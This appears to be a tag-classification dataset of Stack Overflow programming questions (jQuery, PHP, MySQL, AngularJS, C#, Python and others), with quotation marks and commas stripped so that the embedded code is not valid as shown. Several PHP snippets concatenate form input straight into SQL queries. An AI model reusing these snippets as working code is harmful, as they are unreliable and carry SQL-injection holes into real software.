//$.each(currenttd  function () {        //   $(this).prop( contenteditable   true)                    // });     });      $( .update ).click(function () {          var updateid = $(this).attr( id );         $( #  + updateid).hide();         var number = updateid.replace( update     );         $( #edit  + number).show();          var currenttd = $(this).parents( tr ).find( :nth-child(2) );         if ($(currenttd).has( input )) {             $(currenttd).find( p ).text($(currenttd).find( input ).val());             $(currenttd).find( input ).hide();             $(currenttd).find( p ).show();         }         $.each(currenttd  function () {             $(this).prop( contenteditable   false)         });          var id = $(this).closest( tr ).attr( id );         var name = $(this).parents( tr ).find( :nth-child(2) ).html();         var roles = { name: name  role_id: id };         var ajxobj = { oroles: roles };         $.ajax({             type:  post               url:  /admin/roleupdate               contenttype:  application/json; charset=utf-8               data: json.stringify(ajxobj)              datatype:  json               success: function (response) {                 $( .rolecreated ).html( role updated successfully! );                 $( .rolecreated ).show();                 settimeout(function () {                      $( .rolecreated ).hide();                  }  1500);                 emproles()             }              failure: function (response) {                 alert(response.responsetext);             }         });     });  } </code></pre>   i din t add completed code because its connected with db and controllers .that is why i add only <code>edit</code> and <code>update</code> part.,jquery
how do i make it so that i can have  how do i make it so i can have commas / and brakes in my php code for the reply. when i try to add it i get my reply cannot be added or w.e. error  and when i press enter to break to the next line it just makes a space.  here is my code:   <pre><code>    &lt; php       if($_session[ signed_in ])       { echo       &lt;div style= clear: both; &gt;&amp;nbsp;&lt;/div&gt;      &lt;div class= header &gt;         &lt;h3&gt;post reply&lt;/h3&gt;     &lt;/div&gt;     &lt;div class= container_oro2 &gt;      &lt;div class= cpadding &gt;     &lt;input type= button  class= bbbutton light  title= [color=][/color]  value= color   /&gt;     &lt;input type= button  class= bbbutton light  title= [size=11px][/size]  value= size  /&gt;     &lt;input type= button  class= bbbutton light  title= [b][/b]  value= bold  /&gt;     &lt;input type= button  class= bbbutton light  title= [i][/i]  value= italic  /&gt;     &lt;input type= button  class= bbbutton light  title= [u][/u]  value= underline  /&gt;     &lt;input type= button  class= bbbutton light  title= [img][/img]  value= image  /&gt;     &lt;input type= button  class= bbbutton light  title= [url=http://][/url]  value= url  /&gt;     &lt;input type= button  class= bbbutton light  title= [center][/center]  value= center  /&gt;     &lt;input type= button  class= bbbutton light  title= [quote=][/quote]  value= quote  /&gt;     &lt;input type= button  class= bbbutton light  title= [spoiler][/spoiler]  value= spoiler  /&gt;     &lt;input type= button  class= bbbutton light  title= [youtube]http://www.youtube.com/watch v=[/youtube]  value= youtube video  /&gt;     &lt;/div&gt;      &lt;br/&gt;   &lt;form action=   method= post &gt;         &lt;div class= center &gt;             &lt;textarea id= form  name= reply-content  cols= 70  rows= 8 &gt; &lt;/textarea&gt;             &lt;br/&gt;&lt;input type= submit  name= add_submit  value= submit post  /&gt;       &lt;/div&gt;     &lt;/form&gt;    &lt;/div&gt; ;      }        else        {                   echo  &lt;div style= clear: both; &gt;&amp;nbsp;&lt;/div&gt;          &lt;div class= header &gt;         &lt;h3&gt;post reply&lt;/h3&gt;     &lt;/div&gt;     &lt;div class= container_oro2 &gt;       &lt;div class= center &gt;&lt;b&gt;you must &lt;a href= /index.php area=login &gt;login&lt;/a&gt; or &lt;a  href= /index.php area=register &gt;create an account&lt;/a&gt; to       post.&lt;/b&gt;&lt;/div&gt;       &lt;/div&gt;                    ;       }      if($_server[ request_method ] !=  post )     {      echo   ;     }     else     {      if(!$_session[ signed_in ])     {         echo  you must be signed in to post a reply. ;     }     else     {          $sql =  insert into                      posts(post_content                            post_date                            post_topic                            post_by)                  values (   . $_post[ reply-content ] .                             now()                            . mysql_real_escape_string($_get[ id ]) .                               . $_session[ user_id ] .  ) ;          $result = mysql_query($sql);          if(!$result)         {             echo  your reply has not been saved  please try again later. ;         }         else         { $max_id = $rows[ reply ]+1;$id=($_get[ id ]);     header(  location: /index.php area=topic&amp;id=  . htmlentities($_get[ id ]) .    ) ;             echo  your reply has been saved  check out &lt;a href=  &gt;the topic&lt;/a&gt;. ;     $sql2 =  update $topics set reply= $max_id  where id= $id  ; $result2=mysql_query($sql2);}     }     }        &gt;   </code></pre>,php
best way to deploy a vs-2008 web project  what is the preferred method of deploying a web project  just copy the dll s after compiling in release mode and registering them  or using nsis to build an installer or the ms set up project.,asp.net
is a restart necessary when enabling access to mysql from outside   if i want to enable remote access to my mysql server  i know one way to do it through changing the bind-address on <code>/etc/mysql/my.cnf</code> and restart mysql service. is it possible to do it without restart the mysql service   i know we can change some mysql system variables through command line interface without restart.,mysql
in angular js want to set init variable <pre><code>&lt;body ng-app= d  ng-controller= con  ng-init= jj=   &gt;     &lt;section id= phase1 &gt;                 &lt;div ng-repeat= obj in arr  &gt;                     &lt;div  ng-if= jj != obj.sentdate  &gt;&lt;/div&gt;                     &lt;span  &gt;{{obj.sentdate}}&lt;/span&gt;    ///   how to set jj value here so that date print only once.                     &lt;div &gt;{{obj.msg}}&lt;/div&gt;                 &lt;/div&gt;             &lt;/section&gt;   &lt;/body&gt; </code></pre>   this result   <pre><code>sat 14 2014 mookdsbg sat 14 2014 mookdsbg sat 14 2014 mookdsbg </code></pre>   but i want :   <pre><code>sat 14 2014 mookdsbg  mookdsbg  mookdsbg </code></pre>,angularjs
how do i put a bunch of nsintegers into an array   i had three variables of nsinteger type  the question is how do you put the nsinteger in an array or data set    <pre><code>- (void)somenumber {     nsinteger one   = 1;     nsinteger two   = 2;     nsinteger three = 3;      // how do you put the nsinteger in an array or data set？ } </code></pre>,objective-c
why does ie break my page   i ve got a simple page built with for our city s website. firefox and chrome like it fine... ie breaks it to pieces. i ve tried my code in the w3school tryit editor and it comes out fine there. the page address is: <a href= http://www.ci.douglasville.ga.us/index.aspx nid=509  rel= nofollow >http://www.ci.douglasville.ga.us/index.aspx nid=509</a>    and here s the offending code:   <pre><code>&lt;table cellpadding= 4  cellspacing= 1  style= text-align: justify; width: 100%;   align= left &gt; &lt;tbody&gt;     &lt;tr&gt;         &lt;td style= text-align: left; vertical-align: top; width: 350px;  &gt;         &lt;div style= text-align: center; &gt;&lt;span style= line-height: 17px; text-align: -webkit-auto; background-color: rgb(255  255  255);  &gt;&lt;/span&gt;&lt;/div&gt;         &lt;span style= line-height: 17px; background-color: rgb(255  255  255);  &gt;&lt;b style= line-height: 17px; background-color: rgb(255 255 255) &gt;adult karate         for all ages &amp;amp; sizes!&lt;/b&gt;&lt;br style= line-height: 17px; background-color: rgb(255 255 255) &gt;         &lt;br&gt;         this is the         chance you&amp;rsquo;ve been waiting for to get healthy and more active!&lt;/span&gt;&lt;br style= line-height: 17px; background-color: rgb(255 255 255) &gt;         &lt;br style= line-height: 17px; background-color: rgb(255 255 255) &gt;         &lt;span style= line-height: 17px; background-color: rgb(255  255  255);  &gt;the mcclure style         of taekwondo specializes in safe  affordable  quality training for all adults          regardless of age  experience  or fitness level. all are welcome!&lt;/span&gt;&lt;br style= line-height: 17px; background-color: rgb(255 255 255) &gt;         &lt;br style= line-height: 17px; background-color: rgb(255 255 255) &gt;         &lt;span style= line-height: 17px; background-color: rgb(255  255  255);  &gt;our black-belt         instructors tailor all classes to meet your specific needs and skill         level:&lt;/span&gt;&lt;span style= line-height: 17px; background-color: rgb(255  255  255);  &gt; &lt;/span&gt;&lt;span style= background-color: rgb(255  255  255); text-align: -webkit-auto; line-height: 17px;  &gt;         &lt;/span&gt;&lt;/td&gt;         &lt;td style= border-top-style: solid; border-top-width: thin; border-top-color: rgb(44  75  129); border-right-style: solid; border-right-width: thin; border-right-color: rgb(44  75  129); border-bottom-style: solid; border-bottom-width: thin; border-bottom-color: rgb(44  75  129); border-left-style: solid; border-left-width: thin; border-left-color: rgb(44  75  129); background-color: rgb(229  225  226); width: 205px; text-align: left; vertical-align: top;  &gt;         &lt;div style= text-align: left; &gt;&lt;span style= font-weight: bold; line-height: 17px; color: rgb(128  104  39);  &gt;contact&lt;/span&gt;&lt;/div&gt;         &lt;span style= line-height: 17px; background-color: rgb(229  225  226);  &gt;         &lt;span style= line-height: 17px; background-color: rgb(229  225  226);  &gt;tommy nicholson          instructor&lt;br&gt;         &lt;div&gt;ph:         770-942-0018&lt;br&gt;         &lt;br&gt;         denver thompson  instructor&lt;br&gt;         770-595-1245&lt;/div&gt;         &lt;/span&gt;         &lt;div class=  &gt;&lt;br&gt;         &lt;b&gt;hunter park community center&lt;/b&gt;&lt;/div&gt;         &lt;/span&gt;&lt;span style= line-height: 17px; text-align: left;  &gt;         8830 gurley road&lt;br&gt;         douglasville  ga 30134&lt;br&gt;         to sign up call 770-920-3007&lt;br&gt;         &lt;/span&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td style= text-align: left; vertical-align: top;   colspan= 2 &gt;         &lt;ul&gt;             &lt;li&gt;&lt;span style= line-height: 17px;  &gt;self-defense training&lt;/span&gt;&lt;/li&gt;             &lt;li&gt;&lt;span style= line-height: 17px;  &gt;fitness  flexibility  coordination  &amp;amp; balance training&lt;/span&gt;&lt;/li&gt;             &lt;li&gt;&lt;span style= line-height: 17px;  &gt;rank advancements at your own pace&lt;/span&gt;&lt;/li&gt;             &lt;li&gt;&lt;span style= line-height: 17px;  &gt;advanced training in taekwondo and hapkido for experienced skill levels&lt;/span&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td style= text-align: left; vertical-align: top;   colspan= 2 &gt;&amp;nbsp;         &lt;table width= 100%  cellpadding= 2  cellspacing= 1 &gt;             &lt;tbody&gt;                 &lt;tr&gt;                     &lt;td style= text-align: left;width: 280px; vertical-align: top;  &gt;&lt;b&gt;adult classes&lt;/b&gt;&lt;br&gt;                     registration: every tuesday (ongoing)&lt;br&gt;                     &lt;br&gt;                     classes: tuesdays  7:30-8:30pm&lt;br&gt;                     cost: $50.00 per month&lt;br&gt;                     &lt;br&gt;                     &lt;/td&gt;                     &lt;td style= width: 280px; text-align: left; vertical-align: top;  &gt;&lt;b style= text-align: left;  &gt;&lt;/b&gt;&lt;b&gt;karate for kids&lt;/b&gt;&lt;br&gt;                     registration: winter classes begin tuesday  &lt;span class= apple-tab-span  style= white-space: pre;  &gt;            &lt;/span&gt;november 15  2011&lt;br&gt;                     classes: tuesdays  6:30-7:30 pm&lt;br&gt;                     cost: $60.00 per month for 8 week course&lt;span style= text-align: -webkit-auto;  &gt;&lt;/span&gt;&lt;/td&gt;                 &lt;/tr&gt;             &lt;/tbody&gt;         &lt;/table&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/tbody&gt; </code></pre>,html
what is an instance variable   i m a beginner. i want to know what an instance variable is.,objective-c
python - is an object the same after it is passed into constructor   maybe the question is not clear. i can show an example.   <pre><code>class foo:      def __init__(self):           pass       var1 =          def set_var1(self  value):           self.var1 = value  class bar:      def __init__(self  foo):           self.my_foo = foo       my_foo = none       def call_var1(self):           print( var1: + foo(self.my_foo).var1) </code></pre>   in main.py   <pre><code>if __name__ ==  __main__ :      my_foo = foo()      my_foo.set_var1 =  hello       my_bar = bar(my_foo)      my_bar.call_var1() </code></pre>   and after i call the method <code>call_var1()</code>  i get a result: <code> var1: </code>. it seems the value is not assigned to the object my_foo inside of bar  is that a special feature of python,python
rails - reference table for lookups  what is the best way to efficiently implement a table  array  list  etc in rails for reference and lookup purposes. for example  let s say i have a list of  approved  colors to be used in the application. where should i put this data and how best to access it  (table in db  global constant  csv file )    approved list data:  blue    green    yellow,ruby-on-rails
mysql  join  fetches data from only one table when used along with  limit   <strong>solved</strong>    i was using db class to bind values in a string using <code>query</code> method. which roughly looks like this:   <pre><code>public function query($sql $params = array()) {     ...     $x = 0;     foreach($params as $param) {         $this-&gt;_query-&gt;bindvalue($x  $param)         $x++;     }     ...     //fetch results.... } </code></pre>   first i was using this string to pass to <code>query</code> method;   <pre><code>select * from user_info u join users us on u.user_id = us.user_id  where u.branch in ( ) and us.status in ( ) and us.email_activation in ( )  order by     limit     </code></pre>   then i switched to the following string   <pre><code>select * from user_info u join users us on u.user_id = us.user_id  where u.branch in ( ) and us.status in ( ) and us.email_activation in ( )  order by u.user_id asc limit 0 5 </code></pre>   then it somehow worked. probably it (the <code>query</code> method) was trying to bind value as a string or another type which is not suitable for the <code>limit</code> clause.   <hr>   question    i m trying to implement a search function in which users can use bunch of filters to narrow down the results. i have 2 different tables (users  user_info) in my database. they have one column in common which is named  user_id . in <code>users</code> table users  status is stored (e.g. email is validated or not  registration is accepted by the admin or not etc.) in <code>user_info</code> table  users  personal iformations are stored.     <strong>user_info table</strong>    <a href= https://i.stack.imgur.com/qsofp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qsofp.png  alt= user_info table ></a>    <strong>users table</strong>    <a href= https://i.stack.imgur.com/47raa.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/47raa.png  alt= users table ></a>    to cut the story short i collect applied filters and create a query string like below:   <pre><code>select u.*  us.*  from user_info u  left join users us on u.user_id = us.user_id  where u.branch in ( ) and  u.state in ( ) and  u.city in ( )  and us.status in ( ) and us.email_activation in ( )  order by     limit     </code></pre>   using the above query results in only the rows that in <code>users</code> and satisfying the conditions for the <code>users</code> columns(email_activation and status) are being returned. no matter what condition i specify for the  user_info  columns.     but if i rearrange the string like the one below (deleting <code>limit</code>)  i get what i want. both tables  conditions are satisfied.   <pre><code>select u.*  us.*  from user_info u  left join users us on u.user_id = us.user_id  where u.branch in ( ) and  u.state in ( ) and  u.city in ( )  and us.status in ( ) and us.email_activation in ( )  order by     </code></pre>   <strong>results </strong>   <pre><code>        **without limit**         [id] =&gt; 15         [user_id] =&gt; 11         [branch] =&gt; 4         [date_of_birth] =&gt; ..         [location] =&gt; ..         [city] =&gt; ..         [state] =&gt;  ..         [weight] =&gt; ..         [height] =&gt; ..         [bio] =&gt; ..         ...         [name] =&gt; ..         [lastname] =&gt; ..          [mail] =&gt; ..         [password] =&gt; ..          [salt] =&gt; ..         [joined] =&gt; ..         [authority] =&gt; ..         [status] =&gt; 1         [email_activation] =&gt; 1          **with limit (no column from the user_info table)**         [user_id] =&gt; 11         [name] =&gt;          [lastname] =&gt;          [mail] =&gt;         [password] =&gt;          [salt] =&gt;          [joined] =&gt;          [authority] =&gt; 1         [status] =&gt; 1         [activation_code] =&gt;          [email_activation] =&gt; 1 </code></pre>   <strong>edit:</strong>  without limiting the results  i normally get 2 rows.  for the values of <code>limit</code> clause i use: offset 0  limit 1 ---> limit 0 1    table samples and result samples are added    db class uses this line of code to bind values     $this->_query->bindvalue($x  $param);    the query with the real values looks like this   <pre><code>select u.*  us.*  from user_info u  left join users us on u.user_id = us.user_id  where u.branch in (4) and  u.state in (1) and  u.city in (1)  and us.status in (1) and us.email_activation in (1)  order by user_id asc </code></pre>,mysql
how to disable div or jstree inside div   can anyone tell me how to disable a div or elements inside a div  i have a jstree in my div and i want to disable the div/jstree.    thanks!,html
optimise queries file information and attributes inside of function called at regular intervals  i m developing an application that records audio files with gstreamer. one feature of this app is to display a gtk dialog with a label that contains information about the file recording process (name  type and size).    code:   <pre><code>static int timeout_id = -1; static gtkwidget *file_label  *type_label  *size_label;  static gboolean timeout_cb(gpointer data) {     gfile *session_file;     gfileinfo *info;      session_file = g_file_new_for_path (path);     info = g_file_query_info (session_file                    g_file_attribute_standard_display_name                       g_file_attribute_standard_content_type                       g_file_attribute_standard_size                    g_file_query_info_none                    null                    null);     if (info != null) {             /* name */             const gchar *display_name = g_file_info_get_attribute_string (info                                      g_file_attribute_standard_display_name);              gtk_label_set_text (gtk_label (file_label)  display_name);              /* type */             const gchar *type = g_file_info_get_attribute_string (info                                                      g_file_attribute_standard_content_type);              gtk_label_set_text (gtk_label (type_label)  type);              /* size */             guint64 size = g_file_info_get_attribute_uint64 (info                                 g_file_attribute_standard_size);             gchar *tmp = g_format_size_full (size  g_format_size_long_format);              gtk_label_set_text (gtk_label (size_label)  tmp);              g_free (tmp);              g_object_unref (info);     }     g_object_unref (file);      return true; }  void run_status_window(record *record) {     timeout_id = g_timeout_add(500  (gsourcefunc) timeout_cb  record); } </code></pre>   i m use queries for file information and attributes and calling this at 500 ms intervals.    my question is how can optimise this feature because the name and type aren t likely to change during the recording process.    thanks,c
css layout - three columns  with the middle column containing two boxes  my current layout looks like this: <a href= https://gyazo.com/5ed712dcea7d207b511220e3c73185da  rel= nofollow >https://gyazo.com/5ed712dcea7d207b511220e3c73185da</a>    i put a  b and c in the same div and gave them the same class name  and then did a .css file with this:   <pre><code>.classname{     display: inline-block;     width: 32%;     vertical-align: top; } </code></pre>   but i want to add d to the bottom of b so the layout looks like this: <a href= https://gyazo.com/4e8cb4cfd3f4011d359bc1e25b717ff1  rel= nofollow >https://gyazo.com/4e8cb4cfd3f4011d359bc1e25b717ff1</a>    is there a way to do that     thanks!,css
explanation of => in this javascript code  while working on an freecodecamp challenge  i always compare my code to the actual solutions on the freecodecamp github. i just don t understand this one :   <pre><code>function getindextoins(arr  num) {   // sort and find right index   var index = arr.sort((curr  next) =&gt; curr &gt; next)     .findindex((currnum)=&gt; num &lt;= currnum);   // returns proper answer   return index === -1   arr.length : index; }  getindextoins([40  60]  500); </code></pre>   could someone explain to me please the use of      =>. is it some equivalent of these      { },javascript
ror remote_function pass class name of element  in <code>remote_function</code> how can i pass the classname of the form element    i have the following code    <pre><code>&lt;%=link_to(content_tag( span  t( country.name ))  #      {:title=&gt;t( country.name ) **:class=&gt; change_list **      :onclick=&gt;remote_function(:url =&gt; {:action =&gt; :change_view}      :with =&gt;  **change**=** +       **)}) %&gt; </code></pre>   so  on onclick  i want to pass the parameter <code>:change</code> with the value of <code>:class=&gt; change_list </code>    thanks,ruby-on-rails
jquery unload event  is there any way to determine if the user clicked on a link  the forward or back button or entered a new url in the address bar  in the following event    <pre><code>$(window).unload(function(e) {     // here } </code></pre>,jquery
angularjs view updates properly in chrome but not in safari  i m just experimenting in angularjs for the first time and have struck the following. just to confuse everyone i m doing it in coffeescript.    i have the following controller;   <pre><code>testapp = angular.module( testme   [ ngroute ])  testapp.config [ $routeprovider   ($routeprovider) -&gt;      $routeprovider.when( /           templateurl:  invoice_list.html          ).otherwise redirectto:  /  ]  testapp.controller  invoicescontroller   ($scope  $http  $filter) -&gt;     $scope.category =  incomplete      $scope.invoices = []     $scope.invoice_count = {}     $scope.$watch  category   -&gt; #when invoice category select changes         if !$scope.invoice_count[$scope.category] #unless we have already gotten this category from the server             $http.get( api/invoices status=  + $scope.category).success (data) -&gt; #get list of invoices for that category from server                 invoicelist = $scope.invoices.concat data.invoices #add it to the existing array of invoices                 idlist = []                 result = []                 invoicelist.foreach (invoice) -&gt;                     if idlist.indexof(invoice.id) == -1                         result.push invoice                         idlist.push invoice.id                 $scope.invoices = result #and remove duplicates using invoice.id as indicator of uniqueness                 $scope.invoice_count[$scope.category] = data.meta.counts[$scope.category] #then update invoice_count for the category </code></pre>   and here is a cut-down version of my view;   <pre><code>&lt;html ng-app= testme &gt;   &lt;head&gt;     &lt;title&gt;angular test&lt;/title&gt;   &lt;/head&gt;   &lt;body ng-controller= invoicescontroller &gt;     &lt;script id= invoice_list.html  type= text/ng-template &gt;       &lt;li class= list-group-item  ng-repeat= invoice in invoices | filter: category:true &gt;         &lt;div class= invoice-list-total &gt;{{invoice.total | currency}}&lt;/div&gt;         &lt;div class= invoice-list-name &gt;{{invoice.patient.full_name}}&lt;/div&gt;         &lt;div class= invoice-list-date &gt;{{(invoice.invoice_date | date: dd/mm/yy ) ||  &amp;nbsp; }}&lt;/div&gt;       &lt;/li&gt;     &lt;/script&gt;     &lt;ul class= list-group voffset30 &gt;       &lt;li class= list-group-item invoice-list-header &gt;         &lt;select id= category  name= category  ng-model= category &gt;           &lt;option value= incomplete &gt;incomplete&lt;/option&gt;           &lt;option value= complete &gt;complete&lt;/option&gt;           &lt;option value= sent &gt;sent&lt;/option&gt;           &lt;option value= paid &gt;paid&lt;/option&gt;         &lt;/select&gt;         &lt;span class= badge &gt;{{invoice_count[category]}}&lt;/span&gt;       &lt;/li&gt;       &lt;div class= ng-view &gt;&lt;/div&gt;     &lt;/ul&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   what i am trying to do is retrieve a list of invoices from a server (rails) and display them. there are 4 categories of server. when the page first loads the default option of incomplete is selected in the select box. my controller retrieves the list of incomplete invoices from the server and populates the invoices array with them for display. they will then be displayed in the ng-view which displays the list of invoices filtered by category. i also update the invoice_count object with a count of the invoices that was provided by the server as a key/value object (e.g.  incomplete :15). this count is intended to be displayed in the span with the class  badge . i hope i have explained this reasonably well.    now this works <em>perfectly</em> in chrome and i was giving myself a very big pat on the back for achieving something in angular for the first time. i then tried it in safari though and was rapidly disappointed. after i change the select option  the span.badge showing the invoice category count disappears! as soon as i interact with the page in any way (even clicking whitespace) it is updated with the correct result. this occurs in ios safari as well. i can t figure this out by myself. i thought it might be a $scope.$apply() thing  but adding this into the controller just results in an error.    any ideas,angularjs
gradle build error - bug   i m getting a strange error when making signed app:   <pre><code>:app:compilereleaseaidl failed  failure: build failed with an exception.  * what went wrong: null value in entry: sourceoutputdir=null </code></pre>   happened after update studio  but other projects are fine    i ve already made clean / rebuild / delete gradle dir from project / lowered gradle version / even rollback from git    what else should i try,android
why am i getting a  the name does not exist in the current context  error on this c# program   why am i getting a  <em>the name does not exist in the current context</em>  error on this c# program     here is my class file:   <pre><code>namespace exercise8 {     class park     {             park apark = new park();          private string name;          public string name         {             get             {                     name = console.readline();                 return name;             }             set             {             }         }          private string location;          public string location         {             get             {                 location = console.readline();                 return location;             }             set             {             }         }          private string facilitytype;          public string facilitytype         {             get             {                 facilitytype = console.readline();                 return facilitytype;             }             set             {             }         }          private string facilitiesavailable;          public string facilitiesavailable         {             get             {                 facilitiesavailable = console.readline();                 return facilitiesavailable;             }             set             {             }         }          private double fee;         public string sfee;          public double fee         {             get             {                 fee = double.parse(sfee);                 sfee = console.readline();           return fee;             }             set             {             }         }          private int noofemployees;         public string snoofemployees;          public int noofemployees         {             get             {                 noofemployees = int.parse(snoofemployees);                 snoofemployees = console.readline();                 return noofemployees;             }             set             {             }         }          //variables for cost per visitor.         //novisitors will be used in calculate revenue          public double costpervisitor;         public double annualbudget = 200000;         public double novisitors = 10000;          public double calculatecostpervisitor(double annualbudget  double noofvisitors)         {             //divide annual budget by number of visitors             return costpervisitor = annualbudget / novisitors;         }          //calculate revenue         public double revenue;          public double calculaterevenue(double noofvisitors double fee)         {             //no of visitors times fee             revenue = novisitors * fee;             return revenue;         }          public override string tostring()         {             return  name of park:   + this.name +  \nlocation:   + this.location +  \nfacility type:   + this.facilitytype +  \nfacility fee:   + this.fee +  \nnumber of employees:   + this.noofemployees +                  \nnumber of visitors recorded in the past 12 months:   + this.novisitors +  annual budget:   + this.annualbudget;         }     } } </code></pre>   here is my program:   <pre><code>namespace exercise8 {     class program     {             public static void main (string [] args)         {                    //instantiate objects              park apark = new park();              //call methods              console.writeline( name of park:   + apark.name +  ; location of park:   + apark.location +  ; type of park:   + apark.facilitytype);              console.writeline( name of park:   + apark.name +  ; location of park:   + apark.location +  ; facilities available:   + apark.facilitiesavailable);              console.writeline( annual cost per visitor:   + calculatecostpervisitor());              console.writeline( revenue:   + calculaterevenue());              //below should hopefully return to string             console.writeline(apark.tostring());          }         } } </code></pre>   and these are the errors i m seeing:   <blockquote>    the name  calculatecostpervisitor  does not exist in the current context        the name  calculaterevenue  does not exist in the current context line  </blockquote>,c#
adding and scaling polynomials in python using class  i m making a polynomial class but can t get the add and scale function to work properly.     the scale function should work by multiplying the coefficients of the polynomial by a given x. for example if <code>y=2x^3+4x^2</code> and <code>x=2</code>  then <code>y=4x^3+8x^2</code>    the add function should just add like terms of two polynomials.    i ve added comments to the code to hopefully explain how i was trying to get the functions to work   <pre><code>class polynomial:  def __init__(self  coefficients):     self.coeffs=coefficients  def scale(self  x):     return polynomial(self.coeffs*x)  def add(self  other):     #getting the highest degree to add from     self.degree=len(self.coeffs)-1     other.degree=len(other.coeffs)-1      maxcoeff=max(self.degree other.degree)+1     #adding 0 s to the end of the shortest one to make adding easiers (pairwise)     self_temp = self.coeffs + [0]*(maxcoeff-self.degree-1)     other_temp = other.coeffs + [0]*(maxcoeff-other.degree-1)     #adding elementwise     coeffs = [self_temp[i] + other_temp[i] for i in range(len(other_temp))]     return polynomial(coeffs) </code></pre>,python
how to initialize an array   i have a 3dimensional array  how do i initialize it to a default value without having 3 loops.   <pre><code>dummy[4][4][1024] </code></pre>     how do i initialize all the elements to 12,c
best practice: return mutablearray.copy or mutablearray if return type is nsarray <pre><code>- (nsarray *)map:(id (^)(id))block {     nsenumerator * enumerator = self.objectenumerator;     nsmutablearray * array    = [nsmutablearray array];     id obj;     while ((obj = enumerator.nextobject)) {         [array addobject:(block(obj)  : [nsnull null])];     }     return array (nsmutablearray *); or return array.copy (nsarray *) } </code></pre>   this is a category on <strong>nsarray</strong>,objective-c
writing html with php variable to an external file  how do i write a variable as string to an external file using fwrite - with the single quotations  (var)  around the variable:   <pre><code> $sql_data_element =   update artister set data_two= $data_two  where brugernavn=   . $brugernavn .   ; </code></pre>   writing data_two= $data_two  gives an error - needs proper escaping to work...    hers the full code to be written to external file:   <pre><code>$file = fopen($dir .  /  . $file_to_write  w );  $template_content =     &lt;article class= text  style= display:block &gt; &lt;div class= wrap_om_artisten_top clearfix &gt; &lt;!-- clear floats i wrap_profile_image og data_elements_upload_section --&gt;      &lt;!-- profil foto --&gt;         &lt;div class= wrap_profile_image &gt;          &lt;figure class= profile_image &gt;             &lt;!-- profil foto her --&gt;         &lt;/figure&gt;          &lt;div class= wrap_form_image &gt;             &lt;form enctype= multipart/form-data  method= post  class= form_img_profile &gt;                  &lt;input type= file  name= img_profile_upload  id= img_profile_upload  style= display:none;  accept= image/*   /&gt;                   &lt;label for= img_profile_upload  class= choose_profile_img button &gt;vælg billede&lt;/label&gt;                                                                              &lt;!-- label: omgå browser default-text:  ingen fil valgt.  --&gt;                        &lt;input id= submit  type= submit  name= submit_image_profile  value= tilføj foto  class= submit_img_upload button &gt;                               &lt;/form&gt;         &lt;/div&gt;       &lt;/div&gt;      &lt;!-- inof --&gt;     &lt;div class= data_elements_upload_section &gt;           &lt;!-- indsæt data element i mysql --&gt;         &lt; php             $conn = new mysqli(db_host  db_user  db_pass  db_name);             if ($conn-&gt;connect_error) {                 die( connection failed:   . $conn-&gt;connect_error);             } else {                 //echo( ja conn ok &lt;br /&gt; );             }              // hvis der er indtastet noget ( isset ) i form input...                 $data_one = isset($_post[ data_one ])   $_post[ data_one ] :   ;                 $data_two = isset($_post[ data_two ])   $_post[ data_two ] :   ;                 $data_three = isset($_post[ data_three ])   $_post[ data_three ] :   ;                 // errors             function show_error_data($error_text) {                 echo    \ &lt;div class= error_overlay &gt; \n\ ;                 echo        \ &lt;div class= error_text_wrap &gt; \n\ ;                 echo            \ &lt;p class= error_text &gt;$error_text&lt;/p&gt;\ ; // husk forskel på enkelt - og dobbelt                 echo            \ &lt;button class= error_close &gt;prøv igen&lt;/button&gt; \n\ ;                 echo        \ &lt;/div&gt; \n\ ;                 echo    \ &lt;/div&gt;\ ;             }              // hvis form submit er trykkket...             if (isset($_post[ submit_data_one ])) {                      // bestem hvor og hvad der skla indsættes                 $sql_data_element =   update artister set data_one= \$data_one  where brugernavn= \   . $brugernavn .  \  ;                 //indsæt indtastede data i mysql                 $conn -&gt; query($sql_data_element);             }             else if (isset($_post[ submit_data_two ])) {                         if (empty($_post[ data_one ])) { // hvis data_one er tom..                     show_error_data( udyld info 1 først! );                 } else {                         $sql_data_element =   update artister set data_two= $data_two  where brugernavn=   . $brugernavn .   ;                     $conn -&gt; query($sql_data_element);                 }             } // end of submit_data_two             else if (isset($_post[ submit_data_three ])) {                   if ( (empty($_post[ data_one ])) || (empty($_post[ data_two ])) ) {                     show_error_data( udyld info 1 og 2 først! );                 } else {                         $sql_data_element =   update artister set data_three= $data_three  where brugernavn=   . $brugernavn .   ;                     $conn -&gt; query($sql_data_element);                 }             } // end of submit_data_three                     &gt;          &lt;aside class= wrap_data_elements &gt;      &lt;!--        &lt;button type= button  class= wrap_close_text &gt;                 &lt;img src= /images/slideren/icons/icon_close_fullscreen.png  class= close_text                       alt= skjul informationer om kunsteneren og vend tilbage til visning af kunsteksemksempler  /&gt;             &lt;/button&gt;--&gt;                &lt;div class= data_element &gt;                 &lt;h1&gt;  . $brugernavn .  &lt;/h1&gt;             &lt;/div&gt;                        &lt;div class= data_element &gt;                 &lt; php                      $query =  select data_one from artister where brugernavn =   . $brugernavn .   ;                      $result = mysqli_query($conn $query) or die (mysqli_error($conn) );                      while($row = mysqli_fetch_array($result)) {                         $data_one = $row[ data_one ];                         echo $data_one;                     }                  &gt;             &lt;/div&gt;             &lt;div class= data_element &gt;                 &lt; php                      $query =  select data_two from artister where brugernavn =   . $brugernavn .   ;                     $result = mysqli_query($conn $query) or die (mysqli_error($conn) );                      while($row = mysqli_fetch_array($result)) {                         $data_two = $row[ data_two ];                         echo $data_two;                     }                  &gt;             &lt;/div&gt;               &lt;div class= data_element &gt;                 &lt; php                      $query =  select data_three from artister where brugernavn =   . $brugernavn .   ;                      $result = mysqli_query($conn $query) or die (mysqli_error($conn) );                      while($row = mysqli_fetch_array($result)) {                         $data_three = $row[ data_three ];                         echo $data_three;                     }                  &gt;             &lt;/div&gt;                &lt;!--&lt;ul class= wrap_se_mere &gt;                      &lt;li class= overskrift_se_mere &gt;denne kunstner har mere&lt;/li&gt;                      &lt;ul class= second_se_mere &gt;                            &lt;li class= se_mere &gt;musik&lt;/li&gt;                         &lt;li class= se_mere &gt;kunst&lt;/li&gt;                         &lt;li class= se_mere &gt;film&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;             &lt;/ul&gt;   --&gt;               &lt;/aside&gt;          &lt;div class= wrap_form_data 